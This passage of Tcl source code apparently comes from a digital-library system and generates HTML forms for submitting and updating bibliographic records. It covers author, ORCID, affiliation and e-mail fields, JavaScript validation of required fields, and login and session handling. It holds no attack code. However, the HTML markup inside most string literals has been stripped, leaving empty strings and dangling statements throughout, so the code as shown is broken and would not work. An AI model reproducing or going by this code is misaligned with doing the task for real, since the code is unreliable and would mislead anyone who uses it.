${cellFont}$translatedFootnoteReference
"
} elseif {$fieldTypeNumber == 1.3} {
# 1.3
set value [EscapeUntrustedData $value] ;# added by GJFB in 2019-04-30 - not tested
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
} elseif {[regexp {2.1} $fieldTypeNumber]} {
# 2.1
if {[string equal {%A} $fieldName] && ![string equal {Resume} $referenceType]} {
# %A
# multiple creator fields
if 0 {
lappend rowList "
${cellFont}
"
} else {
if ![info exists multipleCreatorWarning] {set multipleCreatorWarning { }}
lappend rowList "
${cellFont}
${cellFont}$multipleCreatorWarning
${cellFont}
${cellFont}v
${cellFont} "
}
if [info exists displayTable($referenceType,%@resumeid)] {
# resumeid
set fieldTypeNumberForResumeID [subst [lindex $displayTable($referenceType,%@resumeid) 0]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
if [regexp {^2.1$|^4$} $fieldTypeNumberForResumeID] {
foreach {translatedCustomizedFieldNameForResumeID translatedFootnoteReferenceForResumeID} [Translate %@resumeid resumeid $referenceType] {break}
set resumeIDValueList [FindFieldValue {__resumeid_resumeid} %@resumeid resumeid $referenceType $update]
# puts --$resumeIDValueList--
}
}
if [info exists displayTable($referenceType,%@orcid)] {
# orcid
set fieldTypeNumberForORCID [subst [lindex $displayTable($referenceType,%@orcid) 0]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
if [regexp {^2.1$|^4$} $fieldTypeNumberForORCID] {
foreach {translatedCustomizedFieldNameForORCID translatedFootnoteReferenceForORCID} [Translate %@orcid orcid $referenceType] {break}
set orcidValueList [FindFieldValue {__orcid_orcid} %@orcid orcid $referenceType $update]
# puts --$resumeIDValueList--
}
}
# puts [info exists displayTable($referenceType,%@group)]
if [info exists displayTable($referenceType,%@group)] {
# group
set fieldTypeNumberForGroup [subst [lindex $displayTable($referenceType,%@group) 0]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
# puts $fieldTypeNumberForGroup
if [regexp {^(2.1|3)$} $fieldTypeNumberForGroup] {
foreach {translatedCustomizedFieldNameForGroup translatedFootnoteReferenceForGroup} [Translate %@group group $referenceType] {break}
set groupValueList [FindFieldValue {__group_group} %@group group $referenceType $update]
# puts $groupValueList
}
}
if [info exists displayTable($referenceType,%@affiliation)] {
# affiliation
set fieldTypeNumberForAffiliation [subst [lindex $displayTable($referenceType,%@affiliation) 0]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
if [regexp {2.1} $fieldTypeNumberForAffiliation] {
foreach {translatedCustomizedFieldNameForAffiliation translatedFootnoteReferenceForAffiliation} [Translate %@affiliation affiliation $referenceType] {break}
set affiliationValueList [ProcessBrackets [FindFieldValue {__affiliation_affiliation} %@affiliation affiliation $referenceType $update]] ;# may contain square brackets that must be coded - added by GJFB in 2011-12-06
}
}
if {[info exists displayTable($referenceType,%@electronicmailaddress)] && [regexp {2.1} [lindex $displayTable($referenceType,%@electronicmailaddress) 0]]} {
# electronicmailaddress
foreach {translatedCustomizedFieldNameForelectronicmailaddress translatedFootnoteReferenceForelectronicmailaddress} [Translate %@electronicmailaddress electronicmailaddress $referenceType] {break}
set electronicmailaddressValueList [FindFieldValue {__electronicmailaddress_electronicmailaddress} %@electronicmailaddress electronicmailaddress $referenceType $update]
# lappend rowList " " ;# for JavaScript alert
}
set numberOfCreatorFields [llength $value]
set i 0
# puts --$value--
foreach value2 $value {
incr i
set cellBackgroundColor [lindex {#DDDDFF #FFDDDD} [expr $i%2]]
# label value example: lattes: 4336175279058172 2 ChagasChanCors:2010:AnSãPa
set aTag {}; set aTag2 {}
if [regexp {^lattes:} $labelFieldValue] {
set idLattes [lindex $labelFieldValue 1]
set authorNumber [lindex $labelFieldValue 2]
if {$i == $authorNumber} {
set aTag ""
set aTag2 " "
}
}
# creator
lappend rowList "
${cellFont}$aTag[CreateOrdinalNumber $language $i] $translatedCustomizedFieldName$aTag2
${cellFont}$translatedFootnoteReference
[expr $i > 1?{ }:{ \;}]
[expr $numberOfCreatorFields != 1?{ }:{ \;}]
[expr $i < $numberOfCreatorFields?{ \" class=multipleCreatorButton ONCLICK=\"SetDownIndex($i)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Move this author field down}\">}:{ \;}] "
lappend rowList " " ;# for JavaScript alert
if [info exists displayTable($referenceType,%@resumeid)] {
# resumeid
if [regexp {^(2.1|4)$} $fieldTypeNumberForResumeID] {
set resumeIDValue [lindex $resumeIDValueList [expr $i - 1]]
if {[info exists fillingButtonTable($referenceType)] && \
$fillingButtonTable($referenceType)} {
set fillingButton " "
} else {
set fillingButton " "
}
if [regexp {^2.1$} $fieldTypeNumberForResumeID] {
# ${cellFont}[subst $translatedCustomizedFieldNameForResumeID]
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForResumeID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForResumeID
$fillingButton "
} elseif {[regexp {^4$} $fieldTypeNumberForResumeID]} {
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForResumeID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForResumeID
 \;$resumeIDValue
$fillingButton "
lappend rowList " "
}
lappend rowList " " ;# for JavaScript alert
}
}
if [info exists displayTable($referenceType,%@orcid)] {
# orcid
if [regexp {^(2.1|4)$} $fieldTypeNumberForORCID] {
set orcidValue [lindex $orcidValueList [expr $i - 1]]
if {[info exists fillingButtonTable($referenceType)] && \
$fillingButtonTable($referenceType)} {
set fillingButton " "
} else {
set fillingButton " "
}
if [regexp {^2.1$} $fieldTypeNumberForORCID] {
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForORCID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForORCID
$fillingButton "
} elseif {[regexp {^4$} $fieldTypeNumberForORCID]} {
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForORCID ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForORCID
 \;$orcidValue
$fillingButton "
lappend rowList " "
}
lappend rowList " " ;# for JavaScript alert
}
lappend orcidLineList "if (document.$submissionType.__orcid_orcid$i.value.match(orcidPattern) == null) {j++}"
}
if [info exists displayTable($referenceType,%@group)] {
# group
if [regexp {^(2.1|3)$} $fieldTypeNumberForGroup] {
set groupValue [lindex $groupValueList [expr $i - 1]]
if {[info exists fillingButtonTable($referenceType)] && \
$fillingButtonTable($referenceType)} {
set fillingButton " "
} else {
set fillingButton " "
}
if [regexp {^2.1$} $fieldTypeNumberForGroup] {
#${cellFont}[subst $translatedCustomizedFieldNameForGroup]
lappend rowList "
${cellFont}[subst $translatedCustomizedFieldNameForGroup] ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForGroup
$fillingButton "
} elseif {[regexp {^3$} $fieldTypeNumberForGroup]} {
# puts $translatedCustomizedFieldName
set row
# append row "${cellFont}[subst $translatedCustomizedFieldNameForGroup]
#${cellFont}$translatedFootnoteReferenceForGroup "
append row "${cellFont}${cellFont}[subst $translatedCustomizedFieldNameForGroup] ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForGroup "
# puts $row
append row ""
CreateSelect %@group __group_group$i $groupValue row $i
append row " $fillingButton "
lappend rowList $row
}
lappend rowList " " ;# for JavaScript alert
}
}
if [info exists displayTable($referenceType,%@affiliation)] {
# affiliation
if [regexp {^2.1$} $fieldTypeNumberForAffiliation] {
set affiliationValue [lindex $affiliationValueList [expr $i - 1]]
if {[info exists fillingButtonTable($referenceType)] && \
$fillingButtonTable($referenceType)} {
set fillingButton " "
} else {
set fillingButton " "
}
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForAffiliation ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForAffiliation
$fillingButton "
lappend rowList " " ;# for JavaScript alert
}
}
if {[info exists displayTable($referenceType,%@electronicmailaddress)] && [regexp {^2.1$} [lindex $displayTable($referenceType,%@electronicmailaddress) 0]]} {
# electronicmailaddress
set electronicmailaddressValue [lindex $electronicmailaddressValueList [expr $i - 1]]
if {[info exists fillingButtonTable($referenceType)] && \
$fillingButtonTable($referenceType)} {
set fillingButton " "
} else {
set fillingButton " "
}
lappend rowList "
${cellFont}$translatedCustomizedFieldNameForelectronicmailaddress ([CreateOrdinalNumber $language $i] $translatedCustomizedFieldName)
${cellFont}$translatedFootnoteReferenceForelectronicmailaddress
$fillingButton "
# lappend rowList " " ;# for JavaScript alert
lappend electronicMailAddressLineList "if (document.$submissionType.__electronicmailaddress_electronicmailaddress$i.value.match(eMailPattern) == null) {j++}"
}
}
# lappend rowList "
#x "
} elseif [regexp {%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] {
# nothing to append unless reference type is Resume
if [string equal {Resume} $referenceType] {
set valueArray($fieldName) $value ;# added by GJFB in 2010-11-26 - together with the 3 backslashes below (\\\) solves square bracket in the target file field (e.g., cartaz Prof[1]. Gerald Banon 19.6.ppt)
regsub {\)} $fieldName {\\\)} fieldName2 ;# added by GJFB in 2010-11-07 - solves field name %) (nextedition)
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
lappend rowList " "
}
} else {
# onFocus
if {!$update && [regexp {%T} $fieldName] && \
[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]]} {
# title
# set onFocus { onFocus="MultipleCreatorAlert()"} ;# commented by GJFB in 2020-11-21
set onFocus {} ;# added by GJFB in 2020-11-21 - with the new layout the warning message is useless
} else {
set onFocus {}
}
# Migration 2006-05-14
# old collection may contain multiple e-mail addresses in the e-mail address field
if {[string equal {%@e-mailaddress} $fieldName] && $update} {
# %@e-mailaddress
if [regexp {\s} $value] {
# multiple e-mail addresses
set ifEMailAddressCondition {0} ;# don't check the e-mail address
}
}
# Migration 2006-05-14 - end
if {[string equal {%U} $fieldName] && [regexp {2.1d} $fieldTypeNumber]} {
# %U
# URL
if 0 {
# display the download radio buttons
set downloadRadioButtons "
${Don't Get URL}
${Get URL and Don't Transfer Copyright}
${Get URL and Transfer Copyright}
"
if [info exists cgi(download)] {
if {[string compare {geturldonttransfercopyright} $cgi(download)] == 0} {
set downloadRadioButtons "
${Don't Get URL}
${Get URL and Don't Transfer Copyright}
${Get URL and Transfer Copyright}
"
} elseif {[string compare {geturltransfercopyright} $cgi(download)] == 0} {
set downloadRadioButtons "
${Don't Get URL}
${Get URL and Don't Transfer Copyright}
${Get URL and Transfer Copyright}
"
}
}
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
lappend rowList $downloadRadioButtons
} else {
# display the check box for the URL field
set chekBoxCode " "
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
$chekBoxCode "
}
} else {
if {0 && [string equal {%3} $fieldName] && $update && [TestContentType $repName {^Mirror$} $homePath]} {
set preservedValue $value ;# used in hidden type input only
lappend rowList "
${cellFont}$translatedCustomizedFieldName
 \;$value "
lappend hiddenInputList " "
} else {
# puts --$value--
# set valueArray($fieldName) $value ;# added by GJFB in 2010-11-26 - together with the 3 backslashes below (\\\) solves square bracket in the target file field (e.g., cartaz Prof[1]. Gerald Banon 19.6.ppt)
set valueArray($fieldName) [EscapeUntrustedData $value] ;# added by GJFB in 2019-04-30 - applies to field like title and year
regsub {\)} $fieldName {\\\)} fieldName2 ;# added by GJFB in 2010-11-07 - solves field name %) (nextedition)
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
}
}
lappend rowList " "
}
} elseif {$fieldTypeNumber == 2.2} {
# 2.2
# display check box for the Content Type field
if {$update && [regexp {%@contenttype} $fieldName] && ![regexp {^$|^External Contribution$} $repositoryContentType]} {
# don't display the repository content type check box if the repository content type value is not empty neither External Contribution
# this is done to preserve the current repository content type value if it is not empty neither External Contribution
# just the External Contribution value may be set on-line, the other values must be set using the URLibService interface
lappend rowList " "
continue
} elseif {[info exists cgi(templaterepository)]} {
# don't display the repository content type check box if duplicating a respository from a template
continue
}
set row
append row "${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference "
CreateCheckBox $fieldName $field $value row
append row " "
lappend rowList $row
} elseif {$fieldTypeNumber == 2.3} {
# 2.3
# radio input
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
set radioOption {}
foreach item $optionTable2($referenceType,$fieldName) {
foreach {customizedOption option} $item {break}
if [info exists translationTable($customizedOption,$referenceType,$fieldName)] {
set translatedCustomizedOption $translationTable($customizedOption,$referenceType,$fieldName)
} else {
# don't translate
set translatedCustomizedOption $customizedOption
}
if [string equal $option $value] {
set checked { CHECKED}
} else {
set checked {}
}
lappend radioOption " $translatedCustomizedOption "
}
lappend rowList "[join $radioOption ] "
} elseif {$fieldTypeNumber == 3} {
# 3
if 1 {
# added by GJFB in 2021-06-28 to set on-line the Bibliography Data Base option in addition to External Contribution for Misc records which have no contenttype or have as contenttype External Contribution or Bibliography Data Base (ref misc and {not contentty * or contentty external or contentty base})
# display menu for the Content Type field
if {0 && $update && [regexp {%@contenttype} $fieldName] && (![string equal {Misc} $referenceType] || ![regexp {^$|^(External Contribution|Bibliography Data Base)$} $repositoryContentType])} { ;# 0 added by GJFB in 2025-01-24 to let displaying the Content Type field menu (the display control should continue to be defined by the content of displayControl.tcl only)
# don't display the repository content type menu if the reference type is not Misc or the repository content type value is not empty neither External Contribution nor Bibliography Data Base
# this is done to preserve the current repository content type value if it is not empty neither External Contribution
# just the External Contribution and Bibliography Data Base values may be set on-line for Misc, the other values must be set using the URLibService interface
lappend rowList " "
continue
} elseif {[info exists cgi(templaterepository)]} {
# don't display the repository content type menu if duplicating a respository from a template
continue
}
}
if {[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && [regexp {%@group} $fieldName]} {
# multiple creator fields (group field)
# nothing to append
} else {
set row
append row "${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference "
append row ""
CreateSelect $fieldName $field $value row ;# updates fillOutFieldCode
if 1 {
if [info exists optionTable2($referenceType,$fieldName)] {
if [regexp {=>} $optionTable2($referenceType,$fieldName)] {
if {[regexp {^%@documentstage$} $fieldName] && \
[string equal {another advanced user} $value]} {
set onLoad {}
}
lappend lineList "if (document.$submissionType.anotheradvanceduser.value == \"\" && document.$submissionType.__documentstage_documentstage.value == \"another advanced user\") {fieldNameList += document.$submissionType.anotheradvanceduserfieldname.value + \"\\\\\\\\\\\\\\\\n\"; i++}"
lappend fillOutFieldCode "
if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\") {
document.getElementById('anotherAdvancedUser').disabled=false
} else {
document.getElementById('anotherAdvancedUser').disabled=true
document.$submissionType.anotheradvanceduser.value = \"\"
}\
"
ConditionalSet anotherAdvancedUser cgi(anotheradvanceduser) {}
append row " e-Mail (login) "
append row "\n"
append row " "
}
}
}
append row " "
lappend rowList $row
}
} elseif {[regexp {4|5} $fieldTypeNumber]} {
# 4 or 5
if {[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && [regexp {%@resumeid} $fieldName]} {
# multiple creator fields (resumeid field)
# nothing to append
} else {
set preservedValue $value ;# used in hidden type input only
if [string equal {%@parentrepositories} $fieldName] {
# used for review
if {$fieldTypeNumber == 4} {
# display the parent document link
set value "$value "
}
if {$fieldTypeNumber == 5} {
# display the parent document link and the parent reference link
set metadataParentRep [Execute $serverAddressWithIP [list FindMetadataRep $value]]
set value "$Document | $Reference "
}
}
if {$update && [string equal {%@archivingpolicy} $fieldName]} {
# Update archiving policy
set archivingPolicy [Execute $serverAddressWithIP [list UpdateArchivingPolicy $rep $metadataRep administrator $codedPassword] 0] ;# archivingPolicy value is used in this FOREACH to decide hiding or not the read permission field
set value $archivingPolicy
if [regexp {^<(.*)>$} $value m errorMessage] {
puts [join $errorMessage \n]
return
}
# Update archiving policy - end
# Update returnInfo
SetFieldValue $serverAddressWithIP $metadataRep-0 {metadatalastupdate}
# lastupdate=2012:11.08.15.47.18+dpi.inpe.br/banon/1999/01.09.22.14+administrator+{D+2011}
regsub {lastupdate=[^+]*} $returnInfo lastupdate=[lindex $metadatalastupdate 0] returnInfo
# Update returnInfo - end
set preservedValue $value ;# used in hidden type input only
set {archivingPolicyArray(allowpublisher allowfinaldraft)} { => publisher}
set {archivingPolicyArray(denypublisher allowfinaldraft)} { => finaldraft or otherwise publisher}
set {archivingPolicyArray(denypublisher* allowfinaldraft)} { => finaldraft or otherwise publisher}
set {archivingPolicyArray(allowpublisher denyfinaldraft)} { => publisher}
set {archivingPolicyArray(allowpublisher denyfinaldraft*)} { => publisher}
set {archivingPolicyArray(denypublisher denyfinaldraft)} { => publisher or otherwise finaldraft}
set {archivingPolicyArray(denypublisher* denyfinaldraft)} { => publisher}
set {archivingPolicyArray(denypublisher denyfinaldraft*)} { => finaldraft or otherwise publisher}
set {archivingPolicyArray(denypublisher* denyfinaldraft*)} { => publisher}
regsub -all {\d+} $preservedValue {*} arrayEntry
if [info exists archivingPolicyArray($arrayEntry)] {
set value $value$archivingPolicyArray($arrayEntry)
}
}
set value [join [split $value \n] { }] ;# added by GJFB in 2013-05-23 - convert to html
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
 \;$value
"
lappend hiddenInputList " "
}
}
} else {
# Preserve value when the field doesn't appear in displayTable in displayControl.tcl
# puts [list $fieldName = $value]
if ![string equal {} $value] {
regsub -all {\\} $value {\\\\\\\\\\\\\\\\} value ;# \ -> \\\\\\\\ ($\mu$) - added by GJFB in 2012-04-09 - useful in abstract - # of \: 16 = 2 * 8 (for 3 subst)
regsub -all {\$} $value {\\\\\\\\\\\\\$} value ;# $ -> \\\\\\\$ ($w$-operator) - added by GJFB in 2012-04-09 - # of \: 13 = 2 * 7 - 1 (for 3 subst)
# target file (e.g., caoticas[1].pdf) - the two substitutions below are needed to avoid e.g., an invalid command name "1" when opening the form
# notes [CD-ROM]
regsub -all {\[} $value {\\\\\\\\\\\\\[} value ;# added by GJFB in 2011-02-09
regsub -all {\]} $value {\\\\\\\\\\\\\]} value ;# added by GJFB in 2011-02-09
lappend hiddenInputList " "
}
# Preserve value when the field doesn't appear in displayTable in displayControl.tcl - end
}
}
# FOREACH - end
if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
set cellBgColor $color3
}
# Add Code field
if {0 && $update} {
# commented by GJFB in 2015-11-21 - exposing code in form is not a secure issue
# update
if {[info exists targetFile] && (([info exists targetFileExtension] && \
[regexp -nocase {tex} $targetFileExtension]) || \
[TestContentType $repName {^Tcl Page$|^Index$|^CGI Script$} $homePath])} {
# .tex target file or Tcl Page, Index, CGI Script
Load $homePath/col/$repName/doc/$targetFile codeValue
lappend rowList "
${cellFont}\$Code
${cellFont}
"
}
}
# Add Code field - end
set fillOutFieldCode [join $fillOutFieldCode \n] ;# updated in CreateSelect
# puts $requiredFieldList ;# => _A_author _T_title _B_journal _D_year _V_volume
foreach requiredField $requiredFieldList {
regsub {^_} $requiredField {%} field2
regsub {%_} $field2 {%@} field2
regsub -all {e_mail} $field2 {e-mail} field2
regsub {_} $field2 { } field2
set fieldName [lindex $field2 0] ;# %A
set label [lindex $field2 1] ;# author
regsub {e-mail} $label {e_mail} label2
# another advanced user
if [string equal {%@documentstage} $fieldName] {
# lappend lineList "if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\" && document.$submissionType.anotheradvanceduser.value == \"\") {fieldNameList += document.$submissionType.documentstage.value + \"\\\\\\\\\\\\\\\\n\"; i++}" ;# commented by GJFB in 2016-06-06
lappend lineList "if (document.$submissionType.__documentstage_documentstage.value == \"another advanced user\" && document.$submissionType.anotheradvanceduser.value == \"\") {fieldNameList += document.$submissionType.anotheradvanceduser.value + \"\\\\\\\\\\\\\\\\n\"; i++}" ;# added by GJFB in 2016-06-06
}
# another advanced user - end
# fieldTypeNumber
# set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]] ;# commented by GJFB in 2016-06-05
set displayValue [subst $displayTable($referenceType,$fieldName)] ;# added by GJFB in 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
set fieldTypeNumber [lindex $displayValue 0] ;# added by GJFB in 2016-06-05
if {$fieldTypeNumber == 2.2} {
# checkbox
set i 0
set conditionList {}
foreach xxx $boxTable($referenceType,$fieldName) {
lappend conditionList "!(document.$submissionType.$requiredField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\].checked)"
incr i
}
AppendLineList [join $conditionList { && }] $label2
} elseif {$fieldTypeNumber == 2.3} {
# radio
set i 0
set conditionList {}
foreach xxx $optionTable2($referenceType,$fieldName) {
lappend conditionList "!(document.$submissionType.$requiredField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\].checked)"
incr i
}
AppendLineList [join $conditionList { && }] $label2
} else {
regsub {abstract} $label2 {abstract2} label2 ;# abstract is a reserved word for Netscape
if {[regexp {%A|%@resumeid|%@orcid|%@group|%@affiliation|%@electronicmailaddress} $fieldName] && \
[regexp {2.1} [lindex $displayTable($referenceType,%A) 0]] && \
([regexp {%A} $fieldName] || \
([regexp {%@resumeid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
([regexp {%@orcid} $fieldName] && [regexp {^(2.1|4)$} $fieldTypeNumber]) || \
([regexp {%@group} $fieldName] && [regexp {^(2.1|3)$} $fieldTypeNumber]) || \
([regexp {%@affiliation} $fieldName] && [regexp {2.1} $fieldTypeNumber]) || \
([regexp {%@electronicmailaddress} $fieldName] && [regexp {2.1} $fieldTypeNumber]))} {
# multiple creator fields
for {set i 1} {$i <= $numberOfCreatorFields} {incr i} {
AppendLineList "document.$submissionType.$requiredField$i.value == \"\"" $label2 $i
}
} else {
if {$fieldTypeNumber != 0} {
# puts $requiredField
# if added by GJFB in 2013-04-27 to allow the use of the string (*) (meaning required field) even with hidden input
if [string equal {__documentstage_documentstage} $requiredField] {
AppendLineList "document.$submissionType.$requiredField.value == \"not transferred\"" $label2 ;# added by GJFB in 2016-06-06
} else {
if {$update && ![string equal {External Contribution} $repositoryContentType] && [regexp {%@versiontype|%@archivingpolicy} $fieldName]} { ;# added by GJFB in 2017-05-06 - hidden fields cannot be fill out and no required filling warning must be displayed
# update or not External Contribution or (version type or archiving policy field)
# hide the version and archiving policy type field
# do nothing
} else {
AppendLineList "document.$submissionType.$requiredField.value == \"\"" $label2
}
}
}
}
}
}
# seconds
lappend rowList " "
# Add File Name field
if [info exists cgi(filename)] {
set fileName $cgi(filename)
} else {
set fileName {}
}
regsub -all {//} $fileName {\\} fileName ;# // -> \
# Store fileName C:/tmp/aaa binary 0 a
# puts $cgi(attachment)
if {[info exists cgi(templaterepository)] && \
[file isdirectory $homePath/col/$cgi(templaterepository)/doc] && \
[TestContentType $cgi(templaterepository) {Template} $homePath]} {
# duplicate template
set Object $Document
set object ${a document}
lappend hiddenInputList " "
} else {
# >
if [string equal yes $cgi(attachment)] {
# NAME=foldername
if {[info exists displayTable($referenceType,foldername)] && \
[regexp {1} [lindex $displayTable($referenceType,foldername) 0]]} {
# foreach {translatedCustomizedFieldNameForFolderName translatedFootnoteReferenceForGroup} [Translate %@group group $referenceType] {break}
lappend rowList "
${cellFont}\${Folder Name}
${cellFont}[lindex $displayTable($referenceType,foldername) 1]
"
}
# NAME=userfile
# set alternativeFieldNameForFileName [lindex $displayTable($referenceType,filename) 3]
set alternativeFieldNameForFileName [lindex $displayTable($referenceType,filename) 3]
# puts $alternativeFieldNameForFileName
# => File Name (attach here your file)
if [info exists translationTable($alternativeFieldNameForFileName,$referenceType,filename)] {
set alternativeFieldNameForFileName $translationTable($alternativeFieldNameForFileName,$referenceType,filename)
}
# puts $alternativeFieldNameForFileName
# => Nome do Arquivo (anexe aqui o seu arquivo)
if {[string compare {x} $alternativeFieldNameForFileName] == 0 || \
[string compare {} $alternativeFieldNameForFileName] == 0} {
set alternativeFieldNameForFileName ${File Name} ;# defined in mirror/xxSubmit.tcl
}
if [regexp {4|5} [lindex $displayTable($referenceType,filename) 0]] {
lappend rowList "
${cellFont}$alternativeFieldNameForFileName
${cellFont}[lindex $displayTable($referenceType,filename) 1]
<$repName >
"
} else {
set fillInstruction [subst [lindex $displayTable($referenceType,filename) 1]] ;# subst is to resolve: [expr $update?{}:{(*) }] (see administrator page script)
if {[regexp "$requiredFieldSymbol" $fillInstruction] || \
([info exists requiredFieldAtCloseSymbol] && \
[regexp "$requiredFieldAtCloseSymbol" $fillInstruction])} {
# required field
lappend rowList " "
set fieldName filename ;# used in AppendLineList
AppendLineList "document.$submissionType.userfile.value == \"\"" userfilefieldname
}
if 1 {
# puts [info exists targetFileCheckBoxFlagTable($referenceType)]
# display check box for the File Name field
# if {![string equal {Electronic Source} $referenceType] && $update} #
if {(![info exists targetFileCheckBoxFlagTable($referenceType)] || $targetFileCheckBoxFlagTable($referenceType)) && $update} {
set chekBoxCode " "
} else {
set chekBoxCode {}
}
if $update {
set onChange onChange="EnableDisableTargetFileCheckBox()"
} else {
set onChange {}
}
lappend rowList "
${cellFont}$alternativeFieldNameForFileName
${cellFont}[lindex $displayTable($referenceType,filename) 1]
$chekBoxCode
"
} else {
# testing safari
# with NAME=\"userfile\" safari doesn't work (the next hidden inputs are not sent to the server)
lappend rowList "
${cellFont}$alternativeFieldNameForFileName
${cellFont}[lindex $displayTable($referenceType,filename) 1]
"
}
}
if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
[info exists keywords] && [regexp {review} $keywords]} {
set Object $Review
set object ${a review}
} else {
set Object $Document
set object ${a document}
}
} else {
if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
[info exists keywords] && [regexp {review} $keywords]} {
set Object $Review
set object ${a review}
} else {
if [info exists depositOptionTable($referenceType)] {
array set depositOptionArray $depositOptionTable($referenceType)
}
ConditionalSet copyAbstractToDoc depositOptionArray(copyabstracttodoc) 0
if $copyAbstractToDoc {
set Object $Abstract
set object ${an abstract}
} else {
set Object $Reference
set object ${a reference}
}
}
}
# <
}
# Add File Name field - end
# Migration 25/1/04
if {[info exists maximumSize] && [info exists fileSizeWarningArray($referenceType)]} {
set fileSizeWarning $fileSizeWarningArray($referenceType)
} else {
set fileSizeWarning {}
}
# Migration 25/1/04 - end
if $update {
# update
if {[string equal {all} $updateOption] && \
(![info exists userListWithPermissionToFinish($referenceType)] || \
[lsearch $userListWithPermissionToFinish($referenceType) $advancedUser] != -1)} {
set finishOptionIndex [expr [llength $updateOptionList] - 1]
set ifLine "if (document.update.updatetype\\\\\\\\\\\\\\\[$finishOptionIndex\\\\\\\\\\\\\\\].selected) {" ;# } testing the finish option
set ifLine2 "if (false) {" ;# } don't ask
} elseif {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)] && \
[regexp {review} $keywords]} {
# is a review
# set ifLine "if ((document.update.__documentstage_documentstage.value != document.update.username.value) && !(document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {" ;# } testing reviewer form
# set ifLine2 "if ((document.update.__documentstage_documentstage.value == document.update.username.value) || (document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {" ;# } testing reviewer form
set ifLine "if ((document.update.__documentstage_documentstage.value != \"not transferred\") && !(document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {" ;# } testing reviewer form
set ifLine2 "if ((document.update.__documentstage_documentstage.value == \"not transferred\") || (document.update.__documentstage_documentstage.value == \"another advanced user\" && document.update.anotheradvanceduser.value == document.update.username.value)) {" ;# } testing reviewer form
} else {
set ifLine "if (false) {" ;# } don't ask
set ifLine2 "if (false) {" ;# } don't ask
}
# action
set action ${Please wait for the update completion.}
} else {
# submit
# action
set action ${Please wait for the submission completion.}
}
# sessionTime
# symmetricKey
# regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
# Add username and password fields
if $update {
# update
# insert username and password
# NAME=username
lappend rowList " "
set additionalRowList {}
set userNameFieldTypeNumber [subst [lindex $displayTable($referenceType,username) 0]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
if {[info exists cgi(session)] && ![string equal {} $cgi(session)]} {
# a session
lappend rowList " " ;# to maintain session
} else {
# no session
# userNameFieldTypeNumber
if $userNameFieldTypeNumber {
# insert username
lappend rowList "
${cellFont}$conversionTable(username)
 \;
 \;$userName
"
} else {
# don't insert username
}
lappend rowList " " ;# added by GJFB in 2019-01-04
lappend rowList " " ;# added by GJFB in 2019-01-04
# NAME=password1
# set additionalRowList {}
set column2Value [lindex $displayTable($referenceType,password1) 1]
lappend additionalRowList "
